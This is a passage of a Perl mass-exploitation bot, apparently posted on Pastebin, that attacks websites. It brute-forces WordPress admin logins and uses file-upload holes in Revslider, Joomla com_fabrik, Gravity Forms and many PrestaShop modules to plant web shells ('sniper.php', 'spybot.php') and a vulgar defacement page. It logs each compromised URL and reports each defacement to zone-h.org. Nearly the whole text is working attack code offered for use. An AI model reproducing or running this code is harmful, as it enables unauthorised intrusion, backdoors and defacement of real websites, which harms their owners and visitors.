  911. <div style=\"text-align: center\"><img src=\"http://store6.up-00.com/2017-05/149535847395381.gif\" width=\"15%\" /></div>
  912. <div style=\"text-align: center\"><font size=\"5\" face=\"comic sans ms\"><b>THIS IS MY DICK FOR UR MUM AND UR SISTER SUCK IT MADAKER<br /></b></font></div>
  913. <div style=\"text-align: center\"><font size=\"5\" color=orange face=\"comic sans ms\"><b> <br /></b></font></div>
  914. <div style=\"text-align: center\"><font size=\"5\" face=\"comic sans ms\"><b></p>
  915. <p>
  916. <p> <br /> Done &copy 2017</p>
  917. </div>";
  918. $file="spy.html";
  919. $link= $site . 'spy.html';
  920. $sirina=$id . 'justracccwdata';
  921. #print "[Def] $link\n";
  922. $gassface = POST $ajx, ['id' => $sirina, 'title' => 'Hacked By Sniper-Jo', 'slug'=> $file,'content' => $def ];
  923. $response = $ua->request($gassface);
  924. $stat = $response->content;
  925. #print $stat;
  926. if ($stat =~ /Mister Spy/){
  927. print color('bold red');
  928. print "Success .... :( \n";
  929. print color('reset');
  930. $link= $site . 'spy.html';
  931. open(save, '>>BotV2/index.txt');
  932. print save "$link\n";
  933. close(save);
  934. $def =$link ;
  935. zoneh();
  936. }
  937. }else{
  938. print color('bold red');
  939. print "Failed .... :( \n";
  940. print color('reset');
  941. }
  942. }
  943.  
  944. ######################
  945. ######################
  946. ######################
  947. ## Wordpress Brute ###
  948. ######################
  949. ######################
  950. ######################
  951. sub wpbrute{
  952. $red = $site . '/wp-admin/';
  953. $wp= $site . 'wp-login.php';
  954. $admin = "admin";
  955. print"Trying To Brute Force Wordpress ... ";
  956.  
  957.  
  958. print "\n USER : $admin\nPASSWORD : $pass\n";
  959. $brute = POST $wp, [log => $admin, pwd => $pass, wp-submit => 'Log In', redirect_to => $red];
  960. $response = $ua->request($brute);
  961. $stat = $response->status_line;
  962. if ($stat =~ /302/){
  963. print color('bold green');
  964. print " Success ... Brute Force Wordpress :D\n";
  965. print color('reset');
  966. open (TEXT, '>>BotV2/brute.txt');
  967. print TEXT "\n$site/wp-login.php => User :$admin Password:$pass\n";
  968. close (TEXT);
  969. }else{
  970. print color('bold red');
  971. print "Brute Force Wordpress Failed .... :( \n";
  972. print color('reset');
  973.  
  974. }
  975. pmaa();
  976. }
  977. ######################
  978. ######################
  979. ######################
  980. ## Revslider Shell ###
  981. ######################
  982. ######################
  983. ######################
  984. sub revshell(){
  985. print"Trying REVSLIDER SHELL ... ";
  986. my $path = "wp-admin/admin-ajax.php";
  987.  
  988.  
  989. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  990. $ua->timeout(10);
  991. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  992. my $exploit = $ua->post("$site/$path", Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["sniper.zip"]]);
  993.  
  994. if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
  995. print "[+] Payload successfully executed\n";
  996. print "[*] Checking Shell Path\n";
  997. my $check = $ua->get("$site/wp-content/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  998. if($check =~/Mister Spy/) {
  999.  
  1000. print "[+] Shell successfully uploaded\n";
  1001. open(save, '>>BotV2/Shell3z.txt');
  1002. print save "[Revslider] : $site/wp-content/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1003. close(save);
  1004. } else { print "[-] Failed Shell\n"; }
  1005. my $avada = $ua->get("$site/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1006. if($avada =~/Mister Spy/) {
  1007.  
  1008. print "[+] Avada successfully uploaded\n";
  1009. open(save, '>>BotV2/Shell3z.txt');
  1010. print save "[Revslider] : $site/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1011. close(save);
  1012.  
  1013. }
  1014. else { print "[-] Failed Avada\n"; }
  1015. my $striking_r = $ua->get("$site/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1016. if($striking_r =~/Mister Spy/) {
  1017.  
  1018. print "[+] striking_r successfully uploaded\n";
  1019. open(save, '>>BotV2/Shell3z.txt');
  1020. print save "[Revslider] : $site/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1021. close(save);
  1022. }
  1023. else { print "[-] Failed striking_r\n"; }
  1024. my $IncredibleWP = $ua->get("$site/wp-content/themes/IncredibleWP/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1025. if($IncredibleWP =~/Mister Spy/) {
  1026.  
  1027. print "[+] IncredibleWP successfully uploaded\n";
  1028. open(save, '>>BotV2/Shell3z.txt');
  1029. print save "[Revslider] : $site/wp-content/themes/IncredibleWP/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1030. close(save);
  1031. }
  1032. else { print "[-] Failed IncredibleWP\n"; }
  1033. my $ultimatum = $ua->get("$site/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1034. if($ultimatum =~/Mister Spy/) {
  1035.  
  1036. print "[+] ultimatum successfully uploaded\n";
  1037. open(save, '>>BotV2/Shell3z.txt');
  1038. print save "[Revslider] : $site/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1039. close(save);
  1040. }
  1041. else { print "[-] Failed ultimatum\n"; }
  1042. my $medicate = $ua->get("$site/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/sniper.php")->content;
  1043. if($medicate =~/Mister Spy/) {
  1044.  
  1045. print "[+] medicate successfully uploaded\n";
  1046. open(save, '>>BotV2/Shell3z.txt');
  1047. print save "[Revslider] : $site/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/sniper.php\n";
  1048. close(save);
  1049. }
  1050. else { print "[-] Failed medicate\n"; }
  1051. my $centum = $ua->get("$site/wp-content/themes/centum/revslider/temp/update_extract/revslider/sniper.php")->content;
  1052. if($centum =~/Mister Spy/) {
  1053.  
  1054. print "[+] centum successfully uploaded\n";
  1055. open(save, '>>BotV2/Shell3z.txt');
  1056. print save "[Revslider] : $site/wp-content/themes/centum/revslider/temp/update_extract/revslider/sniper.php\n";
  1057. close(save);
  1058. }
  1059. else { print "[-] Failed centum\n"; }
  1060. my $beach_apollo = $ua->get("$site/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1061. if($beach_apollo =~/Mister Spy/) {
  1062.  
  1063. print "[+] beach_apollo successfully uploaded\n";
  1064. open(save, '>>BotV2/Shell3z.txt');
  1065. print save "[Revslider] : $site/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1066. close(save);
  1067. }
  1068. else { print "[-] Failed beach_apollo\n"; }
  1069. my $cuckootap = $ua->get("$site/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1070. if($cuckootap =~/Mister Spy/) {
  1071.  
  1072. print "[+] cuckootap successfully uploaded\n";
  1073. open(save, '>>BotV2/Shell3z.txt');
  1074. print save "[Revslider] : $site/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1075. close(save);
  1076. }
  1077. else { print "[-] Failed cuckootap\n"; }
  1078. my $pindol = $ua->get("$site/wp-content/themes/pindol/revslider/temp/update_extract/revslider/sniper.php")->content;
  1079. if($pindol =~/Mister Spy/) {
  1080.  
  1081. print "[+] pindol successfully uploaded\n";
  1082. open(save, '>>BotV2/Shell3z.txt');
  1083. print save "[Revslider] : $site/wp-content/themes/pindol/revslider/temp/update_extract/revslider/sniper.php\n";
  1084. close(save);
  1085. }
  1086. else { print "[-] Failed pindol\n"; }
  1087. my $designplus = $ua->get("$site/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1088. if($designplus =~/Mister Spy/) {
  1089.  
  1090. print "[+] designplus successfully uploaded\n";
  1091. open(save, '>>BotV2/Shell3z.txt');
  1092. print save "[Revslider] : $site/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1093. close(save);
  1094. }
  1095. else { print "[-] Failed designplus\n"; }
  1096. my $rarebird = $ua->get("$site/wp-content/themes/rarebird/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1097. if($rarebird =~/Mister Spy/) {
  1098.  
  1099. print "[+] rarebird successfully uploaded\n";
  1100. open(save, '>>BotV2/Shell3z.txt');
  1101. print save "[Revslider] : $site/wp-content/themes/rarebird/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1102. close(save);
  1103. }
  1104. else { print "[-] Failed rarebird\n"; }
  1105. my $andre = $ua->get("$site/wp-content/themes/andre/framework/plugins/revslider/temp/update_extract/revslider/sniper.php")->content;
  1106. if($andre =~/Mister Spy/) {
  1107.  
  1108. print "[+] andre successfully uploaded\n";
  1109. open(save, '>>BotV2/Shell3z.txt');
  1110. print save "[Revslider] : $site/wp-content/themes/andre/framework/plugins/revslider/temp/update_extract/revslider/sniper.php\n";
  1111. close(save);
  1112. }
  1113. else { print "[-] Failed andre\n"; }
  1114. } else {
  1115. print color('bold red');
  1116. print "Failed .... :( \n";
  1117. print color('reset');
  1118. }
  1119. }
  1120. ######################
  1121. ######################
  1122. ######################
  1123. ######################
  1124. ######################
  1125. ######################
  1126.  
  1127. sub comfabr(){
  1128. print"Trying Com Fabrik Shell ... ";
  1129. $comfab= $site . '/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1';
  1130. $def = $site . '/media/sniper.txt';
  1131. $fabshell = $site . '/media/ss.php';
  1132. ##
  1133. $indfile="tools/sniper.txt";
  1134. $shelfile="tools/ss.php";
  1135. ##
  1136. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  1137. $ua->timeout(10);
  1138. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  1139. my $indfab = $ua->post("$comfab", Cookie => "", Content_Type => "form-data", Content => ["userfile" => ["$shelfile"], "name" => "me.php", "drop_data" => "1", "overwrite" => "1", "field_delimiter" => ",", "text_delimiter" => "&quot;", "option" => "com_fabrik", "controller" => "import", "view" => "import", "task" => "doimport", "Itemid" => "0", "tableid" => "0"]);
  1140. my $checkfab = $ua->get("$fabshell")->content;
  1141. if($checkfab =~/Mister Spy/) {
  1142. print color('bold green');
  1143. print "Sucess .... :D \n";
  1144. print color('reset');
  1145. print "[SHELL LINK] => $fabshell\n";
  1146. open (TEXT, '>>BotV2/Shell3z.txt');
  1147. print TEXT "[COM FABRIC] =>$fabshell \n";
  1148. close (TEXT);
  1149. }else{
  1150. print color('bold red');
  1151. print "Failed .... :( \n";
  1152. print color('reset');
  1153.  
  1154. }
  1155. }
  1156.  
  1157. sub indecomfabr(){
  1158. print"Trying Com Fabrik Index ...";
  1159. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  1160. $ua->timeout(10);
  1161. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  1162. my $indfab = $ua->post("$comfab", Cookie => "", Content_Type => "form-data", Content => ["userfile" => ["$indfile"], "name" => "me.php", "drop_data" => "1", "overwrite" => "1", "field_delimiter" => ",", "text_delimiter" => "&quot;", "option" => "com_fabrik", "controller" => "import", "view" => "import", "task" => "doimport", "Itemid" => "0", "tableid" => "0"]);
  1163. my $checkfab = $ua->get("$def")->content;
  1164. if($checkfab =~/Mister Spy/) {
  1165.  
  1166. print color('bold green');
  1167. print "Sucess .... :D \n";
  1168. print color('reset');
  1169. print "[INDEX LINK] => $def\n";
  1170. zoneh();
  1171. }else{
  1172. print color('bold red');
  1173. print "Failed .... :( \n";
  1174. print color('reset');
  1175.  
  1176. }
  1177. }
  1178. ######################
  1179. ######################
  1180. ######################
  1181. ##### Gravity ######
  1182. ######################
  1183. ######################
  1184. ######################
  1185. sub gravity(){
  1186. print"Trying Gravity SHELL ... ";
  1187.  
  1188.  
  1189. my $path = "/?gf_page=upload";
  1190.  
  1191. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  1192. $ua->timeout(10);
  1193. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  1194. my $exploit = $ua->post("$site/$path", Cookie => "", Content_Type => "form-data", Content => [file => ["11.jpg"], field_id => "3", form_id => "1",gform_unique_id => "../../../", name => "css.php.jd"]);
  1195. if ($exploit->decoded_content =~ /_input_3_css.php.jd/) {
  1196. print "[+] Payload successfully executed\n";
  1197. print "[+] Lib Uploaded\n";
  1198.  
  1199.  
  1200.  
  1201. my $check = $ua->get("$target/wp-content/uploads/_input_3_css.php.jd")->content;
  1202. my $checkk = $ua->get("$target/wp-includes/wp-footer.php")->content;
  1203. if($checkk =~/Mister Spy/) {
  1204. print " [+] Shell Uploaded\n";
  1205.  
  1206. open(save, '>>BotV2/Shell3z.txt');
  1207.  
  1208. print save "$target/wp-includes/wp-footer.php\n";
  1209.  
  1210. close(save);
  1211.  
  1212. my $checkkk = $ua->get("$target/def.html")->content;
  1213. if($checkkk =~m/Hacked/i) {
  1214.  
  1215. print color('bold green');
  1216. print "Sucess .... :D \n";
  1217. print color('reset');
  1218.  
  1219. $Dom="$target/def.html";
  1220. $Def="Sniper Jo";
  1221. if ($Dom =~ /http:\/\//)
  1222. {
  1223. $U="http://zone-h.org/notify/single";
  1224. $lwp=LWP::UserAgent->new;
  1225. #$lwp->proxy(['http'] => 'http://183.207.228.51:83');
  1226. $res=$lwp -> post($U,[
  1227. 'defacer' => $Def,
  1228. 'domain1' => $Dom,
  1229. 'hackmode' => '15',
  1230. 'reason' => '1',
  1231. 'submit' => 'Send',
  1232. ]);
  1233. if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
  1234. print " [Zone] $target submit $1\n";
  1235. open(save, '>>BotV2/index.txt');
  1236. print save "$target/def.html\n";
  1237. close(save);
  1238. }
  1239. else
  1240. {
  1241. print " [Zone] $target Error\n";
  1242. open(save, '>>BotV2/index.txt');
  1243. print save "$target/def.html\n";
  1244. close(save);
  1245. }
  1246. }
  1247. }
  1248. }
  1249. else
  1250. {
  1251.  
  1252. print color('bold red');
  1253. print "Failed .... :( \n";
  1254. print color('reset');
  1255. }
  1256.  
  1257. }
  1258. else {
  1259. print color('bold red');
  1260. print "Failed .... :( \n";
  1261. print color('reset');
  1262. }
  1263.  
  1264. }
  1265. sub upindex{
  1266. my $path = "/?gf_page=upload";
  1267. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  1268. $ua->timeout(10);
  1269. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  1270. my $indexploit = $ua->post("$site/$path", Cookie => "", Content_Type => "form-data", Content => [file => ["def.jpg"], field_id => "3", form_id => "1",gform_unique_id => "../../../../../", name => "sniper.html"]);
  1271. print "Trying To Upload Index gravity ...";
  1272. if ($indexploit->decoded_content =~ /_input_3_sniper.html/) {
  1273. $def= $site . '/_input_3_sniper.html';
  1274. print color('bold green');
  1275. print "succes Defaced \n $def \n";
  1276. print color('reset');
  1277.  
  1278. open(save, '>>BotV2/Shell3z.txt');
  1279. print save "[Gravity] : $def\n";
  1280. close(save);
  1281. zoneh();
  1282. }else{
  1283. print color('bold red');
  1284. print "Failed .... :( \n";
  1285. print color('reset');
  1286. }
  1287. }
  1288. ######################
  1289. ######################
  1290. ######################
  1291. ##### Presta ######
  1292. ######################
  1293. ######################
  1294. ######################
  1295. sub presta(){
  1296. $def=$site ."readme.html";
  1297.  
  1298. print"Trying Prestashop SHELL ... ";
  1299.  
  1300. print "[1] Exploiting .... [Wait]\n";
  1301. $explone="$site/modules/columnadverts/uploadimage.php";
  1302. fuckone();
  1303. print "[2] Exploiting .... [Wait]\n";
  1304. $exptow="$site/modules/simpleslideshow/uploadimage.php";
  1305. fucktow();
  1306. print "[3] Exploiting .... [Wait]\n";
  1307. $expthre="$site/modules/productpageadverts/uploadimage.php";
  1308. fuckthre();
  1309. print "[4] Exploiting .... [Wait]\n";
  1310. $expfor="$site/modules/homepageadvertise/uploadimage.php";
  1311. fuckfor();
  1312. print "[5] Exploiting .... [Wait]\n";
  1313. $expfif="$site/modules/soopamobile/uploadimage.php";
  1314. fuckfif();
  1315. print "[6] Exploiting .... [Wait]\n";
  1316. $expsix="$site/modules/homepageadvertise2/uploadimage.php";
  1317. fucksix();
  1318. print "[7] Exploiting .... [Wait]\n";
  1319. $expsev="$site/modules/jro_homepageadvertise/uploadimage.php";
  1320. fucksev();
  1321. print "[8] Exploiting .... [Wait]\n";
  1322. $expeyt="$site/modules/attributewizardpro/file_upload.php";
  1323. sirina();
  1324. print "[9] Exploiting .... [Wait]\n";
  1325. $expnan="$site/modules/attributewizardpro.OLD/file_upload.php";
  1326. sirinaa();
  1327. ################### PNG ###############
  1328. print "[10] Exploiting .... [Wait]\n";
  1329. $expng="$site/modules/advancedslider/ajax_advancedsliderUpload.php?action=submitUploadImage%26id_slide=php";
  1330. uppng();
  1331. ####
  1332. print "[11] Exploiting .... [Wait]\n";
  1333. $expngg="$site/modules/cartabandonmentpro/upload.php";
  1334. uppngg();
  1335. ###
  1336. print "[12] Exploiting .... [Wait]\n";
  1337. $expmp="$site/modules/videostab/ajax_videostab.php?action=submitUploadVideo%26id_product=upload";
  1338. upmp();
  1339.  
  1340. }
  1341. ####################################################################################
  1342. sub uppng(){
  1343. $png ="presta.php.png";
  1344. my $res = $ua->post($expng, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php.png', name=>'qqfile', content => [ qqfile => [$png]]);
  1345. $gass= $res->decoded_content;
  1346. print "$site ............... [Scanning]\n";
  1347. $upl ="$site/modules/advancedslider/uploads/presta.php.png?spyx";
  1348. $shell ="$site/modules/attributewizardpro/file_uploads/spybot.php";
  1349. shekk();
  1350. }
  1351.  
  1352. ####################################################################################
  1353. sub uppngg(){
  1354. $png ="presta.php.png";
  1355. my $res = $ua->post($expngg, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php.png', name=>'image', content => [ image => [$png]]);
  1356. $gass= $res->decoded_content;
  1357. print "$site ............... [Scanning]\n";
  1358. $upl ="$site/modules/cartabandonmentpro/uploads/presta.php.png?spyx";
  1359. $shell ="$site/modules/cartabandonmentpro/uploads/spybot.php ";
  1360. shekk();
  1361.  
  1362. }
  1363. #####################################################################################
  1364. sub upmp(){
  1365. $png ="presta.php.mp4";
  1366. my $res = $ua->post($expmp, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php.png', name=>'qqfile', content => [ qqfile => [$png]]);
  1367. $gass= $res->decoded_content;
  1368. print "$site ............... [Scanning]\n";
  1369. $upl ="$site/modules/videostab/uploads/presta.php.png?spyx";
  1370. $shell ="$site/modules/videostab/uploads/spybot.php ";
  1371. shekk();
  1372.  
  1373. }
  1374.  
  1375. ##############################################
  1376. ##############################################
  1377. ##############################################
  1378. sub sirina(){
  1379. $png ="presta.php.png";
  1380. my $res = $ua->post($expeyt, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php.png', name=>'userfile', content => [ userfile => [$png]]);
  1381. $gass= $res->decoded_content;
  1382. print "$site ............... [Scanning]\n";
  1383. $upl ="$site/modules/attributewizardpro/file_uploads/presta.php.png?spyx";
  1384. $shell ="$site/modules/attributewizardpro/file_uploads/spybot.php ";
  1385. shekk();
  1386. }
  1387. ####################
  1388. sub sirinaa(){
  1389. $png ="presta.php.png";
  1390. my $res = $ua->post($expnan, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php.png', name=>'userfile', content => [ userfile => [$png]]);
  1391. $gass= $res->decoded_content;
  1392. print "$site ............... [Scaning]\n";
  1393. $upl ="$site/modules/attributewizardpro.OLD/file_uploads/presta.php?spyx";
  1394. $shell ="$site/modules/attributewizardpro.OLD/file_uploads/spybot.php ";
  1395. shekk();
  1396. }
  1397. ##############################################
  1398. ##############################################
  1399. ##############################################
  1400.  
  1401. sub fuckfif(){
  1402. $shlez = "presta.php";
  1403. my $res = $ua->post($expfif, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1404. $gass= $res->decoded_content;
  1405.  
  1406. if ($gass =~ m/success/i){
  1407. $upl ="$site/modules/soopamobile/slides/presta.php?spyx";
  1408. $shell ="$site/modules/soopamobile/slides/spybot.php ";
  1409. shekk();
  1410. }else{
  1411. print "$site ............... [Error]\n";
  1412. }
  1413. }
  1414. ###############################################
  1415. sub fucksix(){
  1416. $shlez = "presta.php";
  1417. my $res = $ua->post($expsix, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1418. $gass= $res->decoded_content;
  1419.  
  1420. if ($gass =~ m/success/i){
  1421. $upl ="$site/modules/homepageadvertise2/slides/presta.php?spyx";
  1422. $shell ="$site/modules/homepageadvertise2/slides/spybot.php ";
  1423. shekk();
  1424. }else{
  1425. print "$site ............... [Error]\n";
  1426. }
  1427. }
  1428. ################################
  1429. sub fucksev(){
  1430. $shlez = "presta.php";
  1431. my $res = $ua->post($expsev, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1432. $gass= $res->decoded_content;
  1433.  
  1434. if ($gass =~ m/success/i){
  1435. $upl ="$site/modules/jro_homepageadvertise/slides/presta.php?spyx";
  1436. $shell ="$site/modules/jro_homepageadvertise/slides/spybot.php ";
  1437. shekk();
  1438. }else{
  1439. print "$site ............... [Error]\n";
  1440. }
  1441. }
  1442. ################################
  1443.  
  1444. ######################
  1445.  
  1446. sub fuckone(){
  1447. $shlez = "presta.php";
  1448. my $res = $ua->post($explone, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1449. $gass= $res->decoded_content;
  1450.  
  1451. if ($gass =~ m/success/i){
  1452. $upl ="$site/modules/columnadverts/slides/presta.php?spyx";
  1453. $shell ="$site/modules/columnadverts/slides/spybot.php ";
  1454. shekk();
  1455. }else{
  1456. print "$site ............... [Error]\n";
  1457. }
  1458. }
  1459.  
  1460.  
  1461.  
  1462.  
  1463. ########
  1464. sub fucktow(){
  1465. $shlez = "presta.php";
  1466. my $res = $ua->post($exptow, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1467. $gass= $res->decoded_content;
  1468.  
  1469. if ($gass =~ m/success/i){
  1470. $upl ="$site/modules/simpleslideshow/slides/presta.php?spyx";
  1471. $shell="$site/modules/simpleslideshow/slides/spybot.php ";
  1472. shekk();
  1473. }else{
  1474. print "$site ............... [Error]\n";
  1475. }
  1476. }
  1477. ########
  1478. sub fuckthre(){
  1479. $shlez = "presta.php";
  1480. my $res = $ua->post($expthre, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1481. $gass= $res->decoded_content;
  1482.  
  1483. if ($gass =~ m/success/i){
  1484. $upl ="$site/modules/productpageadverts/slides/presta.php?spyx";
  1485. $shell="$site/modules/productpageadverts/slides/spybot.php ";
  1486. shekk();
  1487. }else{
  1488. print "$site ............... [Error]\n";
  1489. }
  1490. }
  1491. ###########
  1492. sub fuckfor(){
  1493. $shlez = "presta.php";
  1494. my $res = $ua->post($expfor, Content_Type => 'multipart/form-data', Content-Disposition=> 'form-data',filename=>'presta.php', name=>'userfile', content => [ userfile => [$shlez]]);
  1495. $gass= $res->decoded_content;
  1496.  
  1497. if ($gass =~ m/success/i){
  1498. $upl ="$site/modules/homepageadvertise/slides/presta.php?spyx";
  1499. $shell="$site/modules/homepageadvertise/slides/spybot.php \n";
  1500. shekk();
  1501. }else{
  1502. print "$site ............... [Error]\n";
  1503. }
  1504. }
  1505.  
  1506. sub shekk(){
  1507. my $shcheck = $ua->get("$shell")->content;
  1508. if($shcheck =~/Mister Spy/) {
  1509.  
  1510.  
  1511. print "...Sucess\n";
  1512. print "[PrestaShop] | $shell \n";
  1513. open(save, '>>BotV2/Shell3z.txt');
  1514. print save "[PrestaShop] | $shell\n";
  1515. close(save);
  1516.  
  1517. my $shcheckin = $ua->get("$def")->content;
  1518. if($shcheckin =~/Mister Spy/) {
  1519. print "[Defaced]..........[TO Zone]\n";
  1520. zoneh();
  1521.  
  1522. }else{
  1523. print "[Shell ]..........[Error]\n";
  1524. }
  1525.  
  1526. }else{print "[EXPLOIT ERROR]";}
  1527. }
  1528.  
  1529. ######################
  1530. ######################
  1531. ######################
  1532. ##### Zone-H ######
  1533. ######################
  1534. ######################
  1535. ######################
  1536. sub zoneh(){
  1537. print"Trying To Post In Zone-h ... ";
  1538.  
  1539. open(save, '>>Result/index.txt');
  1540. print save "$def\n";
  1541. close(save);
  1542.  
  1543. $hack="Sniper Jo";
  1544. $zn="http://zone-h.org/notify/single";
  1545. $lwp=LWP::UserAgent->new;
  1546. $res=$lwp -> post($zn,[
  1547. 'defacer' => $hack,
  1548. 'domain1' => $def,
  1549. 'hackmode' => '15',
  1550. 'reason' => '1',
  1551. 'submit' => 'Send',
  1552. ]);
  1553. if ($res->content =~ /color="red">ERROR<\/font><\/li>/) {
  1554. print color('bold red');
  1555. print "Failed ... :(\n";
  1556. print color('reset');
  1557.  
  1558. }
  1559. elsif ($res->content =~ /color="red">OK<\/font><\/li>/) {
  1560. print color('bold green');
  1561. print "Success ... :D\n";
  1562. print color('reset');
  1563.  
  1564.  
  1565.  
  1566. }
  1567. else
  1568. {
  1569. print"there is a probem ... :(\n";
  1570. }
  1571. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!